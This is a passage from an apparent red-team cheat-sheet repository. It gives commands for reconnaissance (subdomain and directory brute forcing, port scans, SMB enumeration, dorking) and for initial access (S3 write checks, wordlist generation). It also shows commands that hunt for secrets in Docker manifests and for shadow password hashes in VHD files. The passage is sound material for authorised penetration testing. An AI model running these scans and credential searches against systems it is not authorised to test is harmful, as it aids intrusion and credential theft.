├── 1.Recon ├── ASN │ ├── ARIN.md │ ├── ASNmap.md │ ├── bgp.he.net.md │ ├── bgpview.io.md │ └── hardCIDR.md ├── Azure │ ├── Blob_Storage.md │ └── IP_Ranges.md ├── Content_Discovery │ ├── Dirb.md │ └── Gobuster.md ├── DNS │ ├── Amass.md │ ├── Dig.md │ ├── Gobuster.md │ ├── Nmap.md │ ├── Nslookup.md │ ├── Powershell.md │ ├── ShuffleDNS.md │ ├── Subfinder.md │ └── Wfuzz.md ├── Data_Sources │ └── Certificates.md ├── Docker │ ├── Discovering_docker_engine_api.md │ └── Discovering_docker_registry_api.md ├── Dorking │ └── Google.md ├── Metadata │ └── PDF.md ├── Misc │ └── Bash_One_Liners.md ├── Port_Scanning │ ├── Naabu.md │ ├── Native_Tools.md │ ├── Netcat.md │ └── Nmap.md └── Protocol │ ├── http.md │ ├── smb_netbios.md │ ├── ssh.md │ └── tls-ssl.md ├── 2.Initial_Access ├── AWS │ └── S3.md ├── Azure │ └── Blob_Storage.md ├── Brute Force │ ├── Cewl.md │ ├── Crunch.md │ └── Ncrack.md ├── Passwords │ ├── Dockerhub_image_secret_scanning.md │ └── Postman_workspace_secret_scanning.md ├── Public_Exploits │ ├── Kali_Linux.md │ └── Searchsploit.md └── Vulnerability_Scanning │ ├── Nmap.md │ └── Nuclei.md ├── 3.Privilege_Escalation ├── Linux │ └── Checking_Permissions.md └── Windows │ ├── CMD.md │ ├── Meterpreter.md │ └── Powershell.md ├── 4.Post_Exploitation ├── Azure │ └── CLI.md ├── Passwords │ ├── Dump_keyvault_secret_powershell.md │ ├── Git_history_secret_grepping.md │ ├── Passwords_cracking_with_Hashcat.md │ ├── Passwords_cracking_with_jtr.md │ ├── Testing_Github_OAth_tokens.md │ └── Windows_hash_dumping.md └── Windows │ ├── Active_Directory.md │ ├── CMD.md │ ├── Disable_Defender.md │ ├── Dumping_Password_from_LSASS.md │ ├── Golden_Ticket.md │ ├── Networking.md │ ├── Pipes.md │ ├── Powershell.md │ ├── Useful_Binaries.md │ └── WMI.md ├── 5.Command_and_Control ├── Docker │ └── backdoored_image_sh │ │ ├── Dockerfile │ │ ├── README.md │ │ └── payload.txt └── Reverse_shells │ └── Reverse_Shells.md ├── 6.Lateral_Movement ├── Powershell_Remoting.md ├── Reverse_dynamic_SSH_tunnels.md ├── Scanning_for_Windows_admin_shares.md └── Windows_Lateral_Movement.md ├── LICENSE └── README.md /1.Recon/ASN/ARIN.md: -------------------------------------------------------------------------------- 1 | # ARIN 2 | 3 | **Description:** This entry describes how to lookup ASN records on arin.net 4 | 5 | **Requirements:** browser 6 | 7 | ## Section 8 | 9 | ``` 10 | https://whois.arin.net/ui/advanced.jsp 11 | ``` 12 | 13 | Visit the following site then enter a search query and choose "network" 14 | 15 | ## References 16 | * [Whois - Terms of Use](https://www.arin.net/resources/registry/whois/tou/) -------------------------------------------------------------------------------- /1.Recon/ASN/ASNmap.md: -------------------------------------------------------------------------------- 1 | # ASNmap 2 | 3 | **Description:** A entry to describe how to use ASNmap to collect ASN ranges 4 | 5 | **Requirements:** go, asnmap 6 | 7 | ## Running ASNMap 8 | 9 | ``` 10 | asnmap -org 11 | ``` 12 | 13 | Lookup ASN IP ranges by organization name 14 | 15 | ``` 16 | asnmap -a -silent 17 | ``` 18 | 19 | Lookup ASN IP ranges by ASN ID 20 | 21 | ## References 22 | * [Github - ASNmap](https://github.com/projectdiscovery/asnmap) -------------------------------------------------------------------------------- /1.Recon/ASN/bgp.he.net.md: -------------------------------------------------------------------------------- 1 | # Hurricane Electric Internet Services 2 | 3 | **Description:** This entry describes how to lookup ASN records on bgp.he.net 4 | 5 | **Requirements:** browser 6 | 7 | ## Using Hurricane Electric Internet Services 8 | 9 | ``` 10 | https://bgp.he.net/search?search%5Bsearch%5D=&commit=Search 11 | ``` 12 | 13 | Visit the following url with a search term to lookup ASN ranges 14 | 15 | ## References 16 | * [he.net](https://www.he.net/) -------------------------------------------------------------------------------- /1.Recon/ASN/bgpview.io.md: -------------------------------------------------------------------------------- 1 | # BGPView.io 2 | 3 | **Description:** This entry describes how to lookup ASN records on bgpview.io 4 | 5 | **Requirements:** browser, curl, jq 6 | 7 | ## Section 8 | 9 | ``` 10 | curl -Lk https://bgpview.io/search/ 11 | ``` 12 | 13 | Search for ASN ranges with search term 14 | 15 | ``` 16 | curl -Lk "https://api.bgpview.io/search?query_term=adobe" | jq '.data.asns[] | .asn, .name' 17 | ``` 18 | 19 | Search term and pull out ASN ID and name 20 | 21 | ``` 22 | curl -Lk "https://api.bgpview.io/search?query_term=adobe" | jq '.data.ipv4_prefixes[].prefix' 23 | ``` 24 | 25 | Seearch term and pull out all ip ranges 26 | 27 | ## References 28 | * [BGP - faq](https://bgpview.io/faq) -------------------------------------------------------------------------------- /1.Recon/ASN/hardCIDR.md: -------------------------------------------------------------------------------- 1 | # hardCIDR 2 | 3 | **Description:** This entry describes how to use hardCIDR to discovery ASN ranges 4 | 5 | **Requirements:** docker (optional), hardcidr 6 | 7 | ## Running hardCIDR 8 | 9 | ``` 10 | docker run -v $(pwd):/tmp -it hardcidr 11 | ``` 12 | 13 | Running hardCIDR with Docker (follow the prompts on screen) 14 | 15 | ## References 16 | * [Github - hardCIDR](https://github.com/trustedsec/hardcidr) -------------------------------------------------------------------------------- /1.Recon/Azure/Blob_Storage.md: -------------------------------------------------------------------------------- 1 | # Blob Storage 2 | 3 | **Description:** This entry describes how to discover blob storage targets 4 | 5 | **Requirements:** browser, gobuster 6 | 7 | ## Discovering blob storage targets with web browser 8 | 9 | ``` 10 | https://.blob.core.windows.net 11 | ``` 12 | 13 | Searching for Azure blob storage (Name must be between 3-24 characters) 14 | 15 | ## Discovering blob storage targets with gobuster 16 | 17 | ``` 18 | gobuster -m dns -u "blob.core.windows.net" -i -t 100 -fw -w 19 | ``` 20 | 21 | Discover blob storage account name (from Blue Cloud of Death by Bryce Kunz) 22 | 23 | ``` 24 | gobuster -m dir -u "https://.blob.core.windows.net//" -i -t 100 -e -s 200,204 -w 25 | ``` 26 | 27 | Discover container names and blobs 28 | 29 | ## References 30 | * [BSides Nashville 2018 Red 00 Blue Cloud of Death Red Teaming Azure Bryce Kunz](https://www.youtube.com/watch?v=DPcMuRP3P7A) - Bryce Kunz -------------------------------------------------------------------------------- /1.Recon/Azure/IP_Ranges.md: -------------------------------------------------------------------------------- 1 | # IP Ranges 2 | 3 | **Description:** This entry describes how to use curl to get a list of the Azure IP ranges 4 | 5 | **Requirements:** curl 6 | 7 | ## Pulling Azure IP ranges 8 | 9 | ```bash 10 | download=$(curl -s https://www.microsoft.com/en-us/download/confirmation.aspx?id=41653 | grep '{base_0:{url:"' | cut -d ':' -f3,4 | cut -d '"' -f2) && curl -s $download | cut -d '"' -f2 | grep [0-9] | grep -v [a-zA-Z] 11 | ``` 12 | 13 | Bash one liner to grab current Azure IP ranges 14 | 15 | ## References 16 | * [MS Download Center - Azure ranges](https://www.microsoft.com/en-us/download/confirmation.aspx?id=41653) -------------------------------------------------------------------------------- /1.Recon/Content_Discovery/Dirb.md: -------------------------------------------------------------------------------- 1 | # Dirb 2 | 3 | **Description:** This entry describes how to use dirb to discover website content 4 | 5 | **Requirements:** dirb 6 | 7 | ## Running Dirb to discover website content 8 | 9 | ``` 10 | dirb http:// -w -N 404 11 | ``` 12 | 13 | Brute force with dirb and ignore 404 reponses 14 | 15 | ## References 16 | * [Kali Tool - dirb](https://www.kali.org/tools/dirb/) 17 | * [Gitlab - Dirb](https://salsa.debian.org/pkg-security-team/dirb) -------------------------------------------------------------------------------- /1.Recon/Content_Discovery/Gobuster.md: -------------------------------------------------------------------------------- 1 | # Gobuster 2 | 3 | **Description:** This entry describes how to use gobuster to discover website content 4 | 5 | **Requirements:** gobuster 6 | 7 | ## Running Gobuster to discover website content 8 | 9 | ``` 10 | gobuster dir -u -w -t 50 --random-agent -b 400,403,404 11 | ``` 12 | 13 | Brute force with 50 threads and only list status code 200 14 | 15 | ## References 16 | * [Github - Gobuster](https://github.com/OJ/gobuster) 17 | -------------------------------------------------------------------------------- /1.Recon/DNS/Amass.md: -------------------------------------------------------------------------------- 1 | # Amass 2 | 3 | **Description:** This entry describes how to use Amass to discover subdomains 4 | 5 | **Requirements:** amass, bash 6 | 7 | ## Running Amass 8 | 9 | ``` 10 | amass -d 11 | ``` 12 | 13 | Amass sub-domain brute 14 | 15 | ## References 16 | * [Github - Amass](https://github.com/OWASP/Amass) 17 | * [Amass - User Guide](https://github.com/OWASP/Amass/blob/master/doc/user_guide.md) -------------------------------------------------------------------------------- /1.Recon/DNS/Dig.md: -------------------------------------------------------------------------------- 1 | # Dig 2 | 3 | **Description:** This entry describes how to use Dig to lookup domains 4 | 5 | **Requirements:** dig 6 | 7 | ## Running Dig 8 | 9 | ``` 10 | dig +short 11 | ``` 12 | 13 | Forward lookup on hostname 14 | 15 | ``` 16 | dig +short -x 17 | ``` 18 | 19 | Reverse Lookup on ip address 20 | 21 | ## References 22 | * [IBM Docs - Dig](https://www.ibm.com/docs/en/aix/7.1?topic=d-dig-command) -------------------------------------------------------------------------------- /1.Recon/DNS/Gobuster.md: -------------------------------------------------------------------------------- 1 | # Gobuster 2 | 3 | **Description:** This entry describes how to use Gobuster to discover subdomains 4 | 5 | **Requirements:** go, gobuster 6 | 7 | ## Running Gobuster 8 | 9 | ``` 10 | gobuster -m dns -u -w -t 50 11 | ``` 12 | 13 | Gobuster sub-domain brute 14 | 15 | ## References 16 | * [Github - Gobuster](https://github.com/OJ/gobuster) -------------------------------------------------------------------------------- /1.Recon/DNS/Nmap.md: -------------------------------------------------------------------------------- 1 | # Nmap 2 | 3 | **Description:** This entry describes how to use Nmap to discover subdomains 4 | 5 | **Requirements:** nmap 6 | 7 | ## Running Nmap 8 | 9 | ``` 10 | nmap --script dns-brute --script-args dns-brute.domain=,dns-brute.threads=,dns-brute.hostlist= 11 | ``` 12 | 13 | Subdomain brute force with Nmap dns-brute NSE script 14 | 15 | ``` 16 | nmap --resolve-all -sL 17 | ``` 18 | 19 | Resolve all ipv4 addresses for website 20 | 21 | ``` 22 | nmap --resolve-all -sL -6 23 | ``` 24 | 25 | Resolve all ipv6 addresses for a website 26 | 27 | ## References 28 | * [Nmap NSE - dns-brute](https://nmap.org/nsedoc/scripts/dns-brute.html) -------------------------------------------------------------------------------- /1.Recon/DNS/Nslookup.md: -------------------------------------------------------------------------------- 1 | # Nslookup 2 | 3 | **Description:** This entry describes how to use Nslookup to lookup domains 4 | 5 | **Requirements:** nslookup 6 | 7 | ## Running Nslookup 8 | 9 | ``` 10 | nslookup 11 | >set type=cname 12 | >domain.com 13 | ``` 14 | 15 | Lookup different record types for domain name (e.g. a,mx,ns) 16 | 17 | ## References 18 | * [MSLearn - Nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup) -------------------------------------------------------------------------------- /1.Recon/DNS/Powershell.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | 3 | **Description:** This entry describes how to use Powershell to lookup domains 4 | 5 | **Requirements:** powershell 6 | 7 | ## Running Powershell 8 | 9 | ``` 10 | Resolve-DnsName 11 | ``` 12 | 13 | Lookup hostname with Powershell 14 | 15 | ## References 16 | * [MSLearn - Resolve-DnsName](https://learn.microsoft.com/en-us/powershell/module/dnsclient/resolve-dnsname?view=windowsserver2022-ps) -------------------------------------------------------------------------------- /1.Recon/DNS/ShuffleDNS.md: -------------------------------------------------------------------------------- 1 | # ShuffleDNS 2 | 3 | **Description:** This entry describes how to use ShuffleDNS to brute force dns records 4 | 5 | **Requirements:** shuffledns, docker (optional) 6 | 7 | ## Running ShuffleDNS to brute force DNS records 8 | 9 | ``` 10 | docker run projectdiscovery/shuffledns -d -r -w 11 | ``` 12 | 13 | Run ShuffleDNS on target using Docker 14 | 15 | ## References 16 | * [Github - ShuffleDNS](https://github.com/projectdiscovery/shuffledns) -------------------------------------------------------------------------------- /1.Recon/DNS/Subfinder.md: -------------------------------------------------------------------------------- 1 | # Subfinder 2 | 3 | **Description:** This entry describes how to use Subfinder to discovery passive dns data 4 | 5 | **Requirements:** subfinder, docker (optional) 6 | 7 | ## Running subfinder to discovery passive records 8 | 9 | ``` 10 | docker run projectdiscovery/subfinder:latest -d 11 | ``` 12 | 13 | Run subfinder on target using Docker 14 | 15 | ## References 16 | * [Github - Subfinder](https://github.com/projectdiscovery/subfinder) -------------------------------------------------------------------------------- /1.Recon/DNS/Wfuzz.md: -------------------------------------------------------------------------------- 1 | # Wfuzz 2 | 3 | **Description:** This entry describes how to use Wfuzz to discover subdomains 4 | 5 | **Requirements:** python, wfuzz 6 | 7 | ## Run Wfuzz 8 | 9 | ``` 10 | wfuzz -H 'Host: FUZZ.site.com' -w -u site.com --hh -hc 404 11 | ``` 12 | 13 | Fuzz DNS with wfuzz (hide 404) 14 | 15 | ## References 16 | * [Github - Wfuzz](https://github.com/xmendez/wfuzz) 17 | * [Wfuzz - Docs](https://wfuzz.readthedocs.io/en/latest/) -------------------------------------------------------------------------------- /1.Recon/Data_Sources/Certificates.md: -------------------------------------------------------------------------------- 1 | # Certificates 2 | 3 | **Description:** This entry describes how to use data sources to dicover certicate data 4 | 5 | **Requirements:** zgrep 6 | 7 | ## Searching for certificate data 8 | 9 | Open Data (data can be found [here](https://opendata.rapid7.com/)) 10 | 11 | ``` 12 | zgrep -a -F \.site.com * 13 | ``` 14 | 15 | Searching sonar or other certificate data for site information 16 | 17 | ``` 18 | https://crt.sh/?q=%.site.com 19 | ``` 20 | 21 | Search certificate transparency(Comodo) 22 | 23 | ``` 24 | https://censys.io/certificates/report?q=&field=parsed.subject.common_name.raw&max_buckets=500 25 | ``` 26 | 27 | Create report in censys for domain certificates 28 | 29 | 30 | ## References 31 | * [Censys - Search Docs](https://search.censys.io/search/language?resource=hosts) -------------------------------------------------------------------------------- /1.Recon/Docker/Discovering_docker_engine_api.md: -------------------------------------------------------------------------------- 1 | # Discovering Docker Engine API (Docker Daemon) 2 | 3 | **Description:** This entry describes how to perform recon to discover the Docker engine API 4 | 5 | **Requirements:** curl 6 | 7 | ## Common Docker Engine API Ports 8 | 9 | * 2375 - Unencrypted Docker Daemon access 10 | * 2376 - Encrypted Docker Daemon access 11 | * 4243 - Docker rest API over HTTP 12 | * 4244 - Docker Swarm API (now integrated into Docker API) 13 | 14 | ## Discovering the Docker engine API 15 | 16 | ``` 17 | curl -Ik :/version 18 | ``` 19 | 20 | Use curl to display the api version 21 | 22 | ``` 23 | Docker: 24 | Version: 19.03.8 25 | Kernel Version: 3.10.0-514.10.2.el7.x86_64 26 | API Version: 1.40 27 | Go Version: go1.12.17 28 | OS: linux 29 | ``` 30 | 31 | Example header 32 | 33 | ## References 34 | * [Docker Engine - API Reference](https://docs.docker.com/engine/api/) 35 | * [Metasploit Docs - docker_daemon_tcp module](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/docker_daemon_tcp.md) 36 | -------------------------------------------------------------------------------- /1.Recon/Docker/Discovering_docker_registry_api.md: -------------------------------------------------------------------------------- 1 | # Discovering Docker registry api 2 | 3 | **Description:** This entry describes how to perform recon to discovery the Docker registry API 4 | 5 | **Requirements:** curl 6 | 7 | ## Common Docker registry api ports 8 | 9 | * 5000 10 | * 5001 11 | 12 | ## Discovering the Docker registry API 13 | 14 | ``` 15 | curl -Ik :/v2/_catalog 16 | ``` 17 | 18 | Use curl to display the hosted images 19 | 20 | ## Pulling down image manifest to discovery secrets 21 | 22 | ``` 23 | curl http://192.168.4.35:1235/v2///manifests/latest | grep --color -i 24 | ``` 25 | 26 | curl the image manifest and search for secrets. 27 | 28 | 29 | ## References 30 | * [Docker Registry Engine - API Reference](https://docs.docker.com/registry/spec/api/) -------------------------------------------------------------------------------- /1.Recon/Dorking/Google.md: -------------------------------------------------------------------------------- 1 | # Google 2 | 3 | **Description:** This entry describes how to perform Google Dorking to perform recon 4 | 5 | **Requirements:** browser 6 | 7 | ## Dorking examples 8 | 9 | ``` 10 | site:site.com inurl:/wp-content/ 11 | ``` 12 | 13 | Looking for Wordpress sites (Wordpress must expose this directory) 14 | 15 | ``` 16 | inurl:.axd filetype:axd site:site.com 17 | ``` 18 | 19 | Look for axd files which frequently contain passwords 20 | 21 | ## References 22 | * [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) -------------------------------------------------------------------------------- /1.Recon/Metadata/PDF.md: -------------------------------------------------------------------------------- 1 | # PDF 2 | 3 | **Description:** This entry describes how to extract metadata from PDF files 4 | 5 | **Requirements:** exiftool 6 | 7 | ## Extracting PDF metadata 8 | 9 | ``` 10 | exiftool 11 | ``` 12 | 13 | Checking PDF for metadata 14 | 15 | ## References 16 | * [Exiftool website](https://exiftool.org/) 17 | * [Kali Tool - exiftool](https://www.kali.org/tools/libimage-exiftool-perl/) -------------------------------------------------------------------------------- /1.Recon/Misc/Bash_One_Liners.md: -------------------------------------------------------------------------------- 1 | # Bash One Liners 2 | 3 | **Description:** This entry describes various ways to use bash one liners to perform recon 4 | 5 | **Requirements:** bash, curl 6 | 7 | ## Using Bash for recon 8 | 9 | ``` 10 | while read site;do curl -ILk $site/jmx-console 2>/dev/null; done < sites.txt 11 | ``` 12 | 13 | Find jmx-consoles or other directory from list of sites 14 | 15 | ``` 16 | while read ip;do response=$(whois $ip | grep OrgName) && printf "[+]ip address: $ip \n[+]$response \n\n"; done < iplist.txt 17 | ``` 18 | 19 | Get whois orgname from list of ip address 20 | 21 | ``` 22 | while read site;do status=$(curl -I $site 2>/dev/null | head -1) && echo $site $status; done < iplist.txt 23 | ``` 24 | 25 | Get status code from list of ip address 26 | 27 | ``` 28 | while read cidr_block;do nmap -n -sL $cidr_block | grep "report for" | cut -d " " -f5 >> ip_list.txt;done < cidr_list.txt 29 | ``` 30 | 31 | Get list of ip addresses from list of cidr blocks in text file 32 | 33 | ``` 34 | curl https://cmyip.com/ 2>&1 | grep "My IP Address" | cut -d'>' -f2 | cut -d'<' -f1 35 | ``` 36 | 37 | Get public ip address from command line 38 | 39 | ``` 40 | cat targets.txt | gxargs -d '\n' -n1 -I % curl -ILk % 41 | ``` 42 | 43 | Use file of targets and pipe them to xargs (OSX gxargs which is gnu xargs installed with brew) to be used as arguments to other tools 44 | 45 | ``` 46 | while read subdomain;do nslookup $subdomain.sneakerhax.com; done < dns-wordlist.txt 47 | ``` 48 | 49 | Basic nslookup subdomain brute force 50 | 51 | ``` 52 | while read dir; do status_code=$(curl -w "%{http_code}" -o /dev/null http://:/$dir 2>/dev/null) && printf "[*] $status_code $dir \n"; done < "Discovery/Web-Content/versioning_metafiles.txt" 53 | ``` 54 | 55 | Get directory status code for directory brute force 56 | 57 | ## References 58 | * [Bash Reference Manual](https://www.gnu.org/software/bash/manual/bash.html) 59 | -------------------------------------------------------------------------------- /1.Recon/Port_Scanning/Naabu.md: -------------------------------------------------------------------------------- 1 | # Naabu 2 | 3 | **Description:** This entry describes how to use Naabu to perform port scans 4 | 5 | **Requirements:** naabu 6 | 7 | ## Naabu SYN scan for faster scans 8 | 9 | ``` 10 | sudo naabu -v --rate 10000 -scan-type s -p -host 11 | ``` 12 | 13 | Requires root privs for SYN scan 14 | 15 | ## References 16 | * [Github - Naabu](https://github.com/projectdiscovery/naabu) 17 | -------------------------------------------------------------------------------- /1.Recon/Port_Scanning/Native_Tools.md: -------------------------------------------------------------------------------- 1 | # Native Tools 2 | 3 | **Description:** This entry describes how to use native operating system tools to perform port scans 4 | 5 | **Requirements:** cmd (windows), bash, powershell 6 | 7 | ## Running native operating system tools to perform port scans 8 | 9 | ```cmd 10 | FOR /L %x in (1,1,255) do ping -n 1 192.168.2.%x | find /I "reply" >> c:\temp\pingresult.txt 11 | ``` 12 | 13 | Ping scan from Windows command line 14 | 15 | ```cmd 16 | 1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("192.168.2.$_") } | where-object {$_.Status -eq "success"} | select Address 17 | ``` 18 | 19 | Ping scan with Windows Powershell 20 | 21 | ```powershell 22 | Test-NetConnection -ComputerName -Port 23 | ``` 24 | 25 | Test if a single port is open with Powershell 26 | 27 | ```powershell 28 | $ports = 22,80,443 29 | foreach ($port in $ports) {Test-NetConnection -Computer -Port $port} 30 | ``` 31 | 32 | Portscan with Powershell native modules 33 | 34 | ```powershell 35 | for i in {1..254}; do ping -c 1 -W 1 192.168.1.$i | grep 'from'; done 36 | ``` 37 | 38 | Ping scan Linux command line 39 | 40 | ```bash 41 | for p in {443..443}; do(echo >/dev/tcp/*host*/$p) >/dev/null 2>&1 && echo "$p open" || echo "$p closed"; done | grep open 42 | ``` 43 | 44 | Port scan Linux command line 45 | 46 | ## References 47 | * [MSLearn Test-NetConnection](https://learn.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps) 48 | -------------------------------------------------------------------------------- /1.Recon/Port_Scanning/Netcat.md: -------------------------------------------------------------------------------- 1 | # Netcat 2 | 3 | **Description:** This entry describes how to use Netcat to perform port scans 4 | 5 | **Requirements:** nc 6 | 7 | ## Running Netcat to perform port scans 8 | 9 | ```nc -zvw 1 ``` 10 | 11 | Scan specified port with verbose output 12 | 13 | ## References 14 | * [Netcat - Kali Linux Tools](https://www.kali.org/tools/netcat/) 15 | -------------------------------------------------------------------------------- /1.Recon/Port_Scanning/Nmap.md: -------------------------------------------------------------------------------- 1 | # Nmap 2 | 3 | **Description:** This entry describes how to use Nmap to perform port scans 4 | 5 | **Requirements:** nmap 6 | 7 | ## Running Nmap to perform port scans 8 | 9 | ``` 10 | nmap -sn -n T4 192.168.1.1/24 11 | ``` 12 | 13 | Ping scan with no dns resolution 14 | 15 | ``` 16 | nmap -sS -p1-65535 -T5 --open --reason 192.168.1.1/24 -oA output 17 | ``` 18 | 19 | Scan all ports quickly to get initital ports open(Run T4/T3 into same file to make sure no ports missed) 20 | 21 | ``` 22 | nmap -sV -p --script=banner 192.168.1.1/24 23 | ``` 24 | 25 | Service version and banner grab on range of ports 26 | 27 | ``` 28 | nmap -A -T5 -oA output 192.168.1.1/24 29 | ``` 30 | 31 | Aggressive scan for quick results 32 | 33 | ``` 34 | nmap -p139,445 --script=smb,msrpc,smb-enum-shares,smb-enum-users 192.168.1.1 35 | ``` 36 | 37 | Enumerate smb with NSE Scripts 38 | 39 | ``` 40 | nmap -sn -Pn -n --script=shodan-api --script-args 'shodan-api.apikey=XXXX' 41 | ``` 42 | 43 | Lookup target in Shodan without active port scanning 44 | 45 | ``` 46 | nmap -sU -sT -p U:53,T:443 47 | ``` 48 | 49 | Scan UDP and TCP ports 50 | 51 | ``` 52 | nmap -sUT --top-ports --open 53 | ``` 54 | 55 | Scan top TCP/UDP ports 56 | 57 | ``` 58 | nmap -g 443 -p- 59 | ``` 60 | 61 | Enter firewall with source port 443 specified to leverage loosely configured firewall rules 62 | 63 | 64 | ## References 65 | * [Nmap - Usage and Examples](https://nmap.org/book/osdetect-usage.html) 66 | -------------------------------------------------------------------------------- /1.Recon/Protocol/http.md: -------------------------------------------------------------------------------- 1 | # HTTP 2 | 3 | **Description:** This entry describes how to collect http information 4 | 5 | **Requirements:** httpx 6 | 7 | ## Usage examples 8 | 9 | ``` 10 | echo | httpx -sc -title -server -fr -sr -store-chain 11 | ``` 12 | 13 | Run httpx with status code, page title, following redirects, storing response, and storing redirect chain 14 | 15 | ``` 16 | echo | httpx -sc -title -server -fr -location -td -ip -cname 17 | ``` 18 | 19 | Run httpx with status code, page title, following redirects, listing location, display technologies, display ip, display cname 20 | 21 | ## References 22 | * https://github.com/projectdiscovery/httpx -------------------------------------------------------------------------------- /1.Recon/Protocol/smb_netbios.md: -------------------------------------------------------------------------------- 1 | # SMB & Netbios 2 | 3 | **Description:** This entry describes how to collect SMB information 4 | 5 | **Requirements:** rpcclient, nbtscan, enum4linux, smbmap, smbclient 6 | 7 | ## Collectin SMB/Netbios information 8 | 9 | SMB versions: 10 | 11 | * SMB1 – Windows 2000, XP and Windows 2003 12 | * SMB2 – Windows Vista SP1 and Windows 2008 13 | * SMB2.1 – Windows 7 and Windows 2008 R2 14 | * SMB3 – Windows 8+ and Windows 2012+ 15 | 16 | ``` 17 | rpcclient -U "" 18 | ``` 19 | 20 | Manual check for null sessions 21 | 22 | ``` 23 | nbtscan 24 | ``` 25 | 26 | Scan network for Netbios name information 27 | 28 | ``` 29 | enum4linux -a 30 | ``` 31 | 32 | Enumerate SMB all checks 33 | 34 | ``` 35 | smbmap -H -R 36 | ``` 37 | 38 | Scan for open SMB shares and recursively list 39 | 40 | ``` 41 | smbclient //10.10.232.87/ 42 | smb: \>get 43 | ``` 44 | 45 | Download file from SMB share 46 | 47 | ## References 48 | * [RPCclient docs](https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html) 49 | * [Kali Tools - rpcclient](https://www.kali.org/tools/samba/#rpcclient) 50 | * [Kali Tools - nbtscan](https://www.kali.org/tools/nbtscan/) 51 | * [Kali Tools - enum4linux](https://www.kali.org/tools/enum4linux/) 52 | * [Kali Tools - smbmap](https://www.kali.org/tools/smbmap/) 53 | * [Kali Tools - smbclient](https://www.kali.org/tools/samba/#smbclient-1) -------------------------------------------------------------------------------- /1.Recon/Protocol/ssh.md: -------------------------------------------------------------------------------- 1 | # SSH 2 | 3 | **Description:** This entry describes how to collect SSH information 4 | 5 | **Requirements:** ssh 6 | 7 | ## Collecting ssh information 8 | 9 | ``` 10 | ssh-keyscan 11 | ``` 12 | 13 | List key of server 14 | 15 | ## References 16 | * [OpenSSH man page](https://www.openssh.com/manual.html) 17 | * [SSH Command - Usage, Options, Configuration](https://www.ssh.com/academy/ssh/command) -------------------------------------------------------------------------------- /1.Recon/Protocol/tls-ssl.md: -------------------------------------------------------------------------------- 1 | # TLS, SSL 2 | 3 | **Description:** This entry describes how to collect SSL/TLS certificate information 4 | 5 | **Requirements:** openssl, timeout 6 | 7 | ## Collecting ssl/tls certificate information 8 | 9 | ``` 10 | openssl s_client -connect sneakerhax.com:443 -showcerts 11 | ``` 12 | 13 | View ssl certificate(Shows PEM file) 14 | 15 | ``` 16 | openssl s_client -connect sneakerhax.com:443 -showcerts | openssl x509 -noout -text 17 | ``` 18 | 19 | View ssl certificate(x509) information 20 | 21 | ``` 22 | timeout 1 ssh -a -l ec2-user -v -o PubkeyAuthentication=no -o PasswordAuthentication=yes -o BatchMode=yes -o StrictHostKeyChecking=no 2>&1 | grep 'Authentications that can continue' 23 | ``` 24 | 25 | See supported authentication methods for SSH(Must have timeout installed(part of coreutils)) 26 | 27 | ## References 28 | * [OpenSSL CLI Docs](https://wiki.openssl.org/index.php/Command_Line_Utilities) -------------------------------------------------------------------------------- /2.Initial_Access/AWS/S3.md: -------------------------------------------------------------------------------- 1 | # S3 2 | 3 | **Description:** This entry describes how to work with s3 buckets in AWS for intial access 4 | 5 | **Requirements:** awscli 6 | 7 | ## Dicovering s3 buckets using Burp Suite 8 | 9 | In Burp keep ```.*amazon*.``` in scope 10 | 11 | ## Listing s3 buckets using the awscli 12 | 13 | ``` 14 | aws s3 ls s3:// 15 | ``` 16 | 17 | Check s3 list permissions 18 | 19 | ## Downloading/writing to s3 bucket files using the awscli 20 | 21 | ``` 22 | aws s3 sync s3://repo 23 | ``` 24 | 25 | Get files locally for searching 26 | 27 | ``` 28 | aws s3 mv test.txt s3://bucket/ 29 | ``` 30 | 31 | Check write permissions 32 | 33 | ## References 34 | * [AWS - CLI Command Reference](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/index.html) -------------------------------------------------------------------------------- /2.Initial_Access/Azure/Blob_Storage.md: -------------------------------------------------------------------------------- 1 | # Blob Storage 2 | 3 | **Description:** This entry describes how to work with Azure blog storage for intial access 4 | 5 | **Requirements:** browser 6 | 7 | ## Searching blog storage for secrets 8 | 9 | File types that may contain secrets: 10 | * Search inside blob storage for .publishsetting file which contains an encoded certificate with management credentials 11 | * Search inside blob storage for XML files 12 | * Search inside blog storage for .config files or web.config files or app.config 13 | 14 | Look for the following in files: 15 | * SAS URI - Is used to grant access to blob storage files (Use Azure Storage Explorer) 16 | * Connection String - Used to connect to storage 17 | * Account name and key - Used to administer account 18 | 19 | Grep VHDS files for shadow hashes (Download VHD and run the following grep): 20 | Select-String ":0:99999:" .vhd -ca 21 | 22 | ## References 23 | * [Blue Cloud of Death Red Teaming Azure](https://www.youtube.com/watch?v=DPcMuRP3P7A) - Bryce Kunz -------------------------------------------------------------------------------- /2.Initial_Access/Brute Force/Cewl.md: -------------------------------------------------------------------------------- 1 | # Cewl 2 | 3 | **Description:** This entry describes how to generate password list from target websites using cewl 4 | 5 | **Requirements:** cewl 6 | 7 | ## Generating a password list from target website using cewl 8 | 9 | ``` 10 | cewl www.site.com -m 5 -w passwords.txt 11 | ``` 12 | 13 | Generating a wordlist with cewl from website crawl(minimum 5 char): 14 | 15 | 16 | ## References 17 | * [Kali Tools - cewl](https://www.kali.org/tools/cewl/) -------------------------------------------------------------------------------- /2.Initial_Access/Brute Force/Crunch.md: -------------------------------------------------------------------------------- 1 | # Crunch 2 | 3 | **Description:** This entry describes how to generate custom password lists using crunch 4 | 5 | **Requirements:** crunch 6 | 7 | ## Generating custom password lists using crunch 8 | 9 | ``` 10 | crunch 6 6 0123456789ABCDEF -o passwords.txt 11 | ``` 12 | 13 | Generating wordlist with crunch containing the characters 0-9 and A-F 1-6 characters long 14 | 15 | ``` 16 | /usr/share/crunch/charset.lst 17 | ``` 18 | 19 | Pre-defined crunch character sets Kali Linux 20 | 21 | ``` 22 | crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha 23 | ``` 24 | 25 | Using crunch pre-defined character sets(More can be found in the man page) 26 | 27 | ``` 28 | | Character | Type | 29 | | ------------- |:----------------------------------:| 30 | | @ | Lower 